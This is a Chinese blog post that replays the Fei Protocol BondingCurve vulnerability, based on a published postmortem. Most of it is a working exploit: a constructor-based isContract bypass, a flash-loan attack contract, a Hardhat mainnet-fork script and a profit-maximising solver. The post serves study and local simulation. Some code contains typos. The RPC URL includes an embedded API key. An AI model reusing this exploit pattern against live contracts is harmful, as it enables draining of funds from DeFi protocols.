Hack Replay – Fei Protocol
Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。
# Hack Replay - Fei Protocol Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。但是其对于如何分析漏洞,如何在本地环境中模拟漏洞有着重要的借鉴作用。本文的参考链接如下:[Fei Protocol Flashloan Vulnerability Postmortem | by Immunefi | Immunefi | Medium](https://medium.com/immunefi/fei-protocol-flashloan-vulnerability-postmortem-7c5dc001affb) ![fei.jpeg](https://img.learnblockchain.cn/attachments/2021/08/VfzvP6td6117ca646d3fe.jpeg) ## 漏洞合约 此次出漏洞的合约是`BondingCurve`合约,其漏洞函数为: ```js function allocate() external override postGenesis whenNotPaused { require((!Address.isContract(msg.sender)) || msg.sender == core().genesisGroup(), "BondingCurve: Caller is a contract"); uint256 amount = getTotalPCVHeld(); require(amount != 0, "BondingCurve: No PCV held"); _allocate(amount); _incentivize(); emit Allocate(msg.sender, amount); } ``` 这个函数中,漏洞在于`!Address.isContract(msg.sender)`这一个检查,该检查用于判断调用该函数的地址是否是一个合约地址还是是一个EOA地址。 我们进入`@openzeppelin/contracts/utils/Address.sol`中,进一步查看`isContract`函数: ```js function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } ``` 从`isContract`的方法中,我们可以看到它检查的是一个地址对应的`extcodesize`, 认为当`extcodesize(addr) > 0`就是合约。 ## 漏洞分析 首先我们看下黄皮书中关于`extcodesize`的解释: $$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv \begin{cases} \lVert \mathbf{b} \rVert & \text{if} \quad \boldsymbol{\sigma}[\boldsymbol{\mu}_{\mathbf{s}}[0] \bmod 2^{160}] \neq \varnothing \\ 0 & \text{otherwise} \end{cases} $$ $$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}_{\mathbf{s}}[0] \bmod 2^{160}]_{\mathrm{c}} $$ 对上述定义的简单描述为:如果该外部地址对应的账户状态存在,则返回外部地址的代码长度,否则返回0。即如果外部地址是一个有代码的合约地址,就会返回该合约的代码长度。 同时,在黄皮书7.1节中,详细讨论了在合约创建过程中,extcodesized的情况: > 请注意,当初始化代码执行时,新创建的地址已经被创建而存在,但没有内在的主体代码。即在初始化代码执行期间,地址上的${EXTCODESIZE}$应该返回0,这是账户的代码长度,而${CODESIZE}$应该返回初始化代码的长度。 > > 因此,它在这段时间内收到的任何消息调用都不会导致代码被执行。 > > 如果初始化执行以${SELFDESTRUCT}$指令结束,这个问题就没有意义了,因为账户将在交易完成前被删除。对于一个正常的${STOP}$代码,或者如果返回的代码是空的,那么这个状态就会留下一个僵尸账户,任何剩余的余额将被永远锁定在这个账户中。 由此可见,通过`extcodesize`来判断一个地址是不是合约地址,并不是一个充分必要条件,而是一个必要不充分条件。 故该漏洞可以被如下方式利用: ```js pragma solidity ^0.6.0; import "./IBondingCurve.sol"; contract FakeEOA{ constrctor(IBondingCurve iBondingCurve) public { iBondingCurve.allocate(); } } ``` ## 攻击思路分析 简单的指出漏洞并不是我们的目的,我们的目的是模拟利用这个漏洞进行攻击。FEI协议是一个去中心化的算法稳定币,通过各种方法将Fei的价格维持在固定值上。一种方法是通过协议控制价值(PCV), FEI协议本身控制了Uniswap V2池中ETH/FEI对的大量流动性提供者代币(LP代币)(一个LP代币代表了每个池子里的代币按比例存入的份额)。 当FEI的价格超过1.01美元时,用户可以用ETH从FEI 的Bonding Curve中购买新造的FEI,以套利二级市场的价格,使其降至1美元。这些ETH被托管在Bonding Curve中,直到保管人重新分配它,此时,它将以现货价格存入ETH-FEI对,即调用Uniswap的mint方法。 问题是任何人都可以调用allocate(),该函数获取协议控制的价值(PCV),并以当时的市场价格(而不是ETH/USD的预言机价格)将其放入Uniswap池。 `Address.isContract`和`nonContract`修饰符是为了防止在allocate操作过程中对FEI进行价格操纵,但这个防护措施在写的时候并没有发挥作用。如果被一个合约的构造器调用,它可以被绕过,正如我们在上面看到的。 故思路整理为: ```js //从AAVE的WETH资金池中闪电贷到一笔WETH //将贷款得到的WETH中的一部分用于swap WETH/FEI交易对,将FEI的价格拉高 //将贷款得到的WETH中的另一部分在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI //借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI //将此前得到的所有FEI全部swap回WETH //偿还闪电贷的WETH,结余资金即为利润 ``` ```js contract Exploit is IFlashLoanReceiver{ IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA); IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5; address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9; IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878); IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65); IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7); uint public _b; uint public _d; uint public _aavePremium; constructor(uint b, uint d) public { _b = b; _d = d; //update oracle UNISWAP_ORACLE.update(); console.log("udpate oracle"); f } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns(bool){ _aavePremium = premiums[0]; console.log("received WETH flashloan with premium",_aavePremium / 10**18); //setp1: dump(); buyFromBondingCurve(); allocate(); buyBack(); repayWETH(); console.log("repaying flashloan"); return true; } receive() external payable(); } ``` ### 步骤一:从AAVE中贷到贷款 ```js function flashloan() public { address[] memory assests = new address[](1); assests[0] = address(WETH); uint256[] memory amounts = new uint256[](1); amounts[0] = _b+_d; uint256[] memory modes = new uint256[](1); modes[0] = 0; bytes memory params = new bytes(0x00); AAVE_LENDING_POOL.flashLoan( address(this), //address receiverAddress, assets,//address[] calldata assets, amounts,//uint256[] calldata amounts, modes,//uint256[] calldata modes, address(0),//address onBehalfOf, params,//bytes calldata params, 0//uint16 referralCode ); console.log("ETH balance", WETH.balanceOf(address(this))/10**18); } ``` ### 步骤二:将贷款得到的WETH中的一部分_d_用于swap WETH/FEI交易对,将FEI的价格拉高 ```js function dump() internal { WETH.approve(address(ROUTER_02),uint(-1)); address[] memory data = new address[](2); data[0] = address(WETH); data[1] = address(FEI); uint[] memory amounts = new uint[](2); amounts = ROUTER_02.swapExactTokensForTokens( _d, 0, data, address(this), uint(-1) ); console.log("Dumped: ",_d / 10**18, "ETH on WETH/FEI pool"); console.log("FEI earned by dumped WETH: ", amounts[1]); } ``` ### 第三步:将贷款得到的WETH中的另一部分_b_在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI ```js function buyFromBondingCurve() internal { //先将WETH换成ETH WETH.withdraw(_b); //发送ETH到purchase方法上 uint amount = ETH_BONDING_CURVE.purchase{value:_b}(address(this), _b); console.log("bought fei from bonding curve for ",_b / 10**18, "ETH"); console.log("fei bounght is ",amount); console.log("fei total is", FEI.balanceOf(address(this))); } ``` ### 第四步:借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI ```js function allocate() internal { new Allocator(ETH_BONDING_CURVE); console.log("Allocate ETH from fei protocol"); } ``` ### 第五步:将此前得到的所有FEI全部swap回WETH ```js function buyBack() internal { FEI.approve(address(ROUTER_02),uint(-1)); uint amountIn = FEI.balanceOf(address(this)); address[] memory data = new address[](2); data[0] = address(FEI); data[1] = address(WETH); uint[] memory amounts = new uint[](2); amounts = ROUTER_02.swapExactTokensForTokens( amountIn, 0, data, address(this), uint(-1) ); console.log("Swapped ", amountIn / 10**18, "fei on WETH/FEI pool"); } ``` ### 第六步:偿还闪电贷的WETH,结余资金即为利润 ```js function repayWETH() internal { //approve aave for flashloan payback WETH.approve(address(AAVE_LENDING_POOL), _b+_d+_aavePremium); } ``` ## Hardhat 部署 通过查阅相关资料显示,该攻击在block高度为12350000时可用,在高度12500000时漏洞已被修复。故 ```js const hre = require("hardhat"); async function main() { //reset the local chain to a fork of mainnet //so that the state is always a promise await hre.network.provider.request({ method: "hardhat_reset", params: [{ forking: { jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", blockNumber: 12350000 // blockNumbeR: 12500000 // after fix } }] }) //check this contract balance of WETH const WETH = await hre.ethers.getContractAt("IWETH",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2'); //deploy poc contract d = "207569000000000000000000" b = "092430000000000000000000" const Exploit = await hre.ethers.getContractFactory("Exploit2"); const exploit = await Exploit.deploy(d,b); console.log("Exploit deployed to: ", exploit.address); //let's run the exploit poc const balance0 = await WETH.balanceOf(exploit.address); console.log("balance before exploit ", balance0/1e18," ETH"); console.log("start exploit"); await exploit.flashloan(); const balance1 = await WETH.balanceOf(exploit.address); console.log("if the balance is positive the exploit is success", balance1 - balance0); console.log("balance after exploit ", balance1 /1e18, " ETH"); } main() .then(()=>process.exit(0)) .catch(error =>{ console.error(error); process.exit(1); }); ``` ## 最大利润点 要达到最大的利润点,需要满足如下公式: $$ d=WETH_{swap},b=WETH_{purchase} $$ $$ FEI_{swap}=R_{FEI}^0-\frac{R_{WETH}^0\cdot R_{FEI}^0}{R_{WETH}^0+d} $$ $$ FEI_{purchase} = b\cdot \frac{R_{FEI}^0}{R_{WETH}^0} $$ 当调用allocate方法时, FEI合约会按照此时的价格向WETH/FEI资金池中添加流动性: $$ WETH_{deposit}=b $$ $$ FEI_{deposit}=b\cdot \frac{R_{FEI}^0-FEI_{swap}}{R_{WETH}^0+d} $$ 此时所有的FEI为: $$ FEI_{total}=FEI_{swap}+FEI_{purchase} $$ 将所有的FEI全部swap成WETH得到: $$ WETH_{total}=(R_{WETH}^0+d+WETH_{deposit})-\frac{(R_{WETH}^0+d+WETH_{deposit})\cdot (R_{FEI}^0-FEI_{swap}+FEI_{deposit})}{(R_{FEI}^0-FEI_{swap}+FEI_{deposit})+FEI_{total}} $$ 则利润为: $$ profit=WETH_{total}-d-b $$ ### 解方程组 这里我们调用gekko这个python库来解上面的方程组 ```python from gekko import GEKKO m = GEKKO() #p0 就是在攻击前的WETH/FEI池子里的WETH数量 p0 = m.Param(value=141245.117) #p1 就是在攻击前的WETH/FEI池子里的FEI数量 p1 = m.Param(value=463938347) #peg 就是攻击前的WETH/FEI的价格 peg = m.Param(value=p1/p0) #求目标参数b,d, 初始化为50000 d = m.Var(lb=0,value=50000) b = m.Var(lb=0,value=50000) m.Equation(d + b <= 700000) #第一步,dump WETH到FEI/WETH池子 p0_d = p0+d p1_d = (p0 * p1) / p0_d r1_d = p1 - p1_d #第二步,purchase FEI r1_b = b * peg #第三步, 调用allocate方法 p0_b = p0_d + b # p1_b / p0_b = p1_d / p0_d p1_b = p1_d * (p0_b / p0_d) #第四步,将手上所有的FEI全部swap成WETH p1_f = p1_b + r1_d + r1_b p0_f = (p0_b * p1_b) / p1_f #我们收到的WETH r0_f = p0_b - p0_f #我们的利润 profit = r0_f - b - d #最大化我们的利润 m.Maximize(profit) # 执行 m.options.IMODE = 3 # steady state optimization m.solve() print("solved:") print("objective: " + str(m.options.objfcnval)) print("d: ", str(d.value)) print("b: ", str(b.value)) ``` ![pp.png](https://img.learnblockchain.cn/attachments/2021/08/2QmQT1ha6117cad0e102e.png) 往期推荐 [Paradigm CTF-baby](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247484243&idx=1&sn=05570096409ae90aea93ae361bd96eb0&chksm=9f53f99aa824708c9de7c7817ae783a6292dc6e8cc5c6ec51eec0b2a3965ee2ee132048d3a77&scene=21#wechat_redirect) [合约升级模式-以compound为例](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483936&idx=1&sn=1001953fda0005b1a3f8a33a3f1d8207&chksm=9f53f8e9a82471ff1d29b06a77ac32521773e64b4534606f2e5a3ea97fba84af9808e1a6e6a1&scene=21#wechat_redirect) [Paradigm CTF-Market](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483883&idx=1&sn=29d304f5d90d4680bf40c180f9970707&chksm=9f53fb22a8247234c5133be8b538c1c977db3de4221b0496e8a2de474afef8ed0879aa83b49b&scene=21#wechat_redirect) [当产品经理拿着compound的白皮书跟你说他有一个绝妙的想法时,你应该怎么办?](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483879&idx=1&sn=879d5adef3e4c0f8ecef3affed4570bb&chksm=9f53fb2ea82472385e4019997dc9fae404d544df56746af5fdcf03cf703a566ea507814beb45&scene=21#wechat_redirect) [Paradigm CTF-农场](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483831&idx=1&sn=c1dee1bd728908ae998391c00c9c6f10&chksm=9f53fb7ea8247268c6001d1a8e9dea0a698797b4955119d2dfb8e57a0e05fc4bf651ce85b2ed&scene=21#wechat_redirect) [Paradigm CTF-回文子串](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483687&idx=1&sn=f8cf8d04bd2288970a040270bf118b97&chksm=9f53fbeea82472f825e6761137e34d6b239a64b21da43a082040ef5aaafb8e7d8cadd3b312d0&scene=21#wechat_redirect) [当面试官问你Uniswap V2的时候,你应该想到什么? ](http://mp.weixin.qq.com/s?__biz=MzA3NzM5MzgzMA==&mid=2247483733&idx=1&sn=c14339006ed3984bb0298c999be32583&chksm=9f53fb9ca824728aab3307221e633ca178d9166a0b570429014fff2d0d792aebb6f031cd255a&scene=21#wechat_redirect)
Hack Replay - Fei Protocol
Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。但是其对于如何分析漏洞,如何在本地环境中模拟漏洞有着重要的借鉴作用。本文的参考链接如下:Fei Protocol Flashloan Vulnerability Postmortem | by Immunefi | Immunefi | Medium
漏洞合约
此次出漏洞的合约是BondingCurve
合约,其漏洞函数为:
function allocate() external override postGenesis whenNotPaused {
require((!Address.isContract(msg.sender)) || msg.sender == core().genesisGroup(), "BondingCurve: Caller is a contract");
uint256 amount = getTotalPCVHeld();
require(amount != 0, "BondingCurve: No PCV held");
_allocate(amount);
_incentivize();
emit Allocate(msg.sender, amount);
}
这个函数中,漏洞在于!Address.isContract(msg.sender)
这一个检查,该检查用于判断调用该函数的地址是否是一个合约地址还是是一个EOA地址。
我们进入@openzeppelin/contracts/utils/Address.sol
中,进一步查看isContract
函数:
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
从isContract
的方法中,我们可以看到它检查的是一个地址对应的extcodesize
, 认为当extcodesize(addr) > 0
就是合约。
漏洞分析
首先我们看下黄皮书中关于extcodesize
的解释:
$$ \boldsymbol{\mu}'{\mathbf{s}}[0] \equiv \begin{cases} \lVert \mathbf{b} \rVert & \text{if} \quad \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}] \neq \varnothing \ 0 & \text{otherwise} \end{cases} $$
$$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}]{\mathrm{c}} $$
对上述定义的简单描述为:如果该外部地址对应的账户状态存在,则返回外部地址的代码长度,否则返回0。即如果外部地址是一个有代码的合约地址,就会返回该合约的代码长度。
同时,在黄皮书7.1节中,详细讨论了在合约创建过程中,extcodesized的情况:
请注意,当初始化代码执行时,新创建的地址已经被创建而存在,但没有内在的主体代码。即在初始化代码执行期间,地址上的${EXTCODESIZE}$应该返回0,这是账户的代码长度,而${CODESIZE}$应该返回初始化代码的长度。
因此,它在这段时间内收到的任何消息调用都不会导致代码被执行。
如果初始化执行以${SELFDESTRUCT}$指令结束,这个问题就没有意义了,因为账户将在交易完成前被删除。对于一个正常的${STOP}$代码,或者如果返回的代码是空的,那么这个状态就会留下一个僵尸账户,任何剩余的余额将被永远锁定在这个账户中。
由此可见,通过extcodesize
来判断一个地址是不是合约地址,并不是一个充分必要条件,而是一个必要不充分条件。
故该漏洞可以被如下方式利用:
pragma solidity ^0.6.0;
import "./IBondingCurve.sol";
contract FakeEOA{
constrctor(IBondingCurve iBondingCurve) public {
iBondingCurve.allocate();
}
}
攻击思路分析
简单的指出漏洞并不是我们的目的,我们的目的是模拟利用这个漏洞进行攻击。FEI协议是一个去中心化的算法稳定币,通过各种方法将Fei的价格维持在固定值上。一种方法是通过协议控制价值(PCV), FEI协议本身控制了Uniswap V2池中ETH/FEI对的大量流动性提供者代币(LP代币)(一个LP代币代表了每个池子里的代币按比例存入的份额)。
当FEI的价格超过1.01美元时,用户可以用ETH从FEI 的Bonding Curve中购买新造的FEI,以套利二级市场的价格,使其降至1美元。这些ETH被托管在Bonding Curve中,直到保管人重新分配它,此时,它将以现货价格存入ETH-FEI对,即调用Uniswap的mint方法。
问题是任何人都可以调用allocate(),该函数获取协议控制的价值(PCV),并以当时的市场价格(而不是ETH/USD的预言机价格)将其放入Uniswap池。
Address.isContract
和nonContract
修饰符是为了防止在allocate操作过程中对FEI进行价格操纵,但这个防护措施在写的时候并没有发挥作用。如果被一个合约的构造器调用,它可以被绕过,正如我们在上面看到的。
故思路整理为:
//从AAVE的WETH资金池中闪电贷到一笔WETH
//将贷款得到的WETH中的一部分用于swap WETH/FEI交易对,将FEI的价格拉高
//将贷款得到的WETH中的另一部分在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI
//借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI
//将此前得到的所有FEI全部swap回WETH
//偿还闪电贷的WETH,结余资金即为利润
contract Exploit is IFlashLoanReceiver{
IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);
IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);
IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);
IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);
uint public _b;
uint public _d;
uint public _aavePremium;
constructor(uint b, uint d) public {
_b = b;
_d = d;
//update oracle
UNISWAP_ORACLE.update();
console.log("udpate oracle");
f
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns(bool){
_aavePremium = premiums[0];
console.log("received WETH flashloan with premium",_aavePremium / 10**18);
//setp1:
dump();
buyFromBondingCurve();
allocate();
buyBack();
repayWETH();
console.log("repaying flashloan");
return true;
}
receive() external payable();
}
步骤一:从AAVE中贷到贷款
function flashloan() public {
address[] memory assests = new address[](1);
assests[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = _b+_d;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
bytes memory params = new bytes(0x00);
AAVE_LENDING_POOL.flashLoan(
address(this), //address receiverAddress,
assets,//address[] calldata assets,
amounts,//uint256[] calldata amounts,
modes,//uint256[] calldata modes,
address(0),//address onBehalfOf,
params,//bytes calldata params,
0//uint16 referralCode
);
console.log("ETH balance", WETH.balanceOf(address(this))/10**18);
}
步骤二:将贷款得到的WETH中的一部分_d_用于swap WETH/FEI交易对,将FEI的价格拉高
function dump() internal {
WETH.approve(address(ROUTER_02),uint(-1));
address[] memory data = new address[](2);
data[0] = address(WETH);
data[1] = address(FEI);
uint[] memory amounts = new uint[](2);
amounts = ROUTER_02.swapExactTokensForTokens(
_d,
0,
data,
address(this),
uint(-1)
);
console.log("Dumped: ",_d / 10**18, "ETH on WETH/FEI pool");
console.log("FEI earned by dumped WETH: ", amounts[1]);
}
第三步:将贷款得到的WETH中的另一部分_b_在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI
function buyFromBondingCurve() internal {
//先将WETH换成ETH
WETH.withdraw(_b);
//发送ETH到purchase方法上
uint amount = ETH_BONDING_CURVE.purchase{value:_b}(address(this), _b);
console.log("bought fei from bonding curve for ",_b / 10**18, "ETH");
console.log("fei bounght is ",amount);
console.log("fei total is", FEI.balanceOf(address(this)));
}
第四步:借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI
function allocate() internal {
new Allocator(ETH_BONDING_CURVE);
console.log("Allocate ETH from fei protocol");
}
第五步:将此前得到的所有FEI全部swap回WETH
function buyBack() internal {
FEI.approve(address(ROUTER_02),uint(-1));
uint amountIn = FEI.balanceOf(address(this));
address[] memory data = new address[](2);
data[0] = address(FEI);
data[1] = address(WETH);
uint[] memory amounts = new uint[](2);
amounts = ROUTER_02.swapExactTokensForTokens(
amountIn,
0,
data,
address(this),
uint(-1)
);
console.log("Swapped ", amountIn / 10**18, "fei on WETH/FEI pool");
}
第六步:偿还闪电贷的WETH,结余资金即为利润
function repayWETH() internal {
//approve aave for flashloan payback
WETH.approve(address(AAVE_LENDING_POOL), _b+_d+_aavePremium);
}
Hardhat 部署
通过查阅相关资料显示,该攻击在block高度为12350000时可用,在高度12500000时漏洞已被修复。故
const hre = require("hardhat");
async function main() {
//reset the local chain to a fork of mainnet
//so that the state is always a promise
await hre.network.provider.request({
method: "hardhat_reset",
params: [{
forking: {
jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
blockNumber: 12350000
// blockNumbeR: 12500000 // after fix
}
}]
})
//check this contract balance of WETH
const WETH = await hre.ethers.getContractAt("IWETH",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2');
//deploy poc contract
d = "207569000000000000000000"
b = "092430000000000000000000"
const Exploit = await hre.ethers.getContractFactory("Exploit2");
const exploit = await Exploit.deploy(d,b);
console.log("Exploit deployed to: ", exploit.address);
//let's run the exploit poc
const balance0 = await WETH.balanceOf(exploit.address);
console.log("balance before exploit ", balance0/1e18," ETH");
console.log("start exploit");
await exploit.flashloan();
const balance1 = await WETH.balanceOf(exploit.address);
console.log("if the balance is positive the exploit is success", balance1 - balance0);
console.log("balance after exploit ", balance1 /1e18, " ETH");
}
main()
.then(()=>process.exit(0))
.catch(error =>{
console.error(error);
process.exit(1);
});
最大利润点
要达到最大的利润点,需要满足如下公式:
$$ d=WETH{swap},b=WETH{purchase} $$
$$ FEI{swap}=R{FEI}^0-\frac{R{WETH}^0\cdot R{FEI}^0}{R_{WETH}^0+d} $$
$$ FEI{purchase} = b\cdot \frac{R{FEI}^0}{R_{WETH}^0} $$
当调用allocate方法时, FEI合约会按照此时的价格向WETH/FEI资金池中添加流动性:
$$ WETH_{deposit}=b $$
$$ FEI{deposit}=b\cdot \frac{R{FEI}^0-FEI{swap}}{R{WETH}^0+d} $$
此时所有的FEI为:
$$ FEI{total}=FEI{swap}+FEI_{purchase} $$
将所有的FEI全部swap成WETH得到:
$$ WETH{total}=(R{WETH}^0+d+WETH{deposit})-\frac{(R{WETH}^0+d+WETH{deposit})\cdot (R{FEI}^0-FEI{swap}+FEI{deposit})}{(R{FEI}^0-FEI{swap}+FEI{deposit})+FEI{total}} $$
则利润为:
$$ profit=WETH_{total}-d-b $$
解方程组
这里我们调用gekko这个python库来解上面的方程组
from gekko import GEKKO
m = GEKKO()
#p0 就是在攻击前的WETH/FEI池子里的WETH数量
p0 = m.Param(value=141245.117)
#p1 就是在攻击前的WETH/FEI池子里的FEI数量
p1 = m.Param(value=463938347)
#peg 就是攻击前的WETH/FEI的价格
peg = m.Param(value=p1/p0)
#求目标参数b,d, 初始化为50000
d = m.Var(lb=0,value=50000)
b = m.Var(lb=0,value=50000)
m.Equation(d + b <= 700000)
#第一步,dump WETH到FEI/WETH池子
p0_d = p0+d
p1_d = (p0 * p1) / p0_d
r1_d = p1 - p1_d
#第二步,purchase FEI
r1_b = b * peg
#第三步, 调用allocate方法
p0_b = p0_d + b
# p1_b / p0_b = p1_d / p0_d
p1_b = p1_d * (p0_b / p0_d)
#第四步,将手上所有的FEI全部swap成WETH
p1_f = p1_b + r1_d + r1_b
p0_f = (p0_b * p1_b) / p1_f
#我们收到的WETH
r0_f = p0_b - p0_f
#我们的利润
profit = r0_f - b - d
#最大化我们的利润
m.Maximize(profit)
# 执行
m.options.IMODE = 3 # steady state optimization
m.solve()
print("solved:")
print("objective: " + str(m.options.objfcnval))
print("d: ", str(d.value))
print("b: ", str(b.value))
往期推荐
Paradigm CTF-baby
合约升级模式-以compound为例
Paradigm CTF-Market
当产品经理拿着compound的白皮书跟你说他有一个绝妙的想法时,你应该怎么办?
Paradigm CTF-农场
Paradigm CTF-回文子串
当面试官问你Uniswap V2的时候,你应该想到什么?
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2021-08-14 21:56
- 阅读 ( 576 )
- 学分 ( 13 )
- 分类:智能合约
评论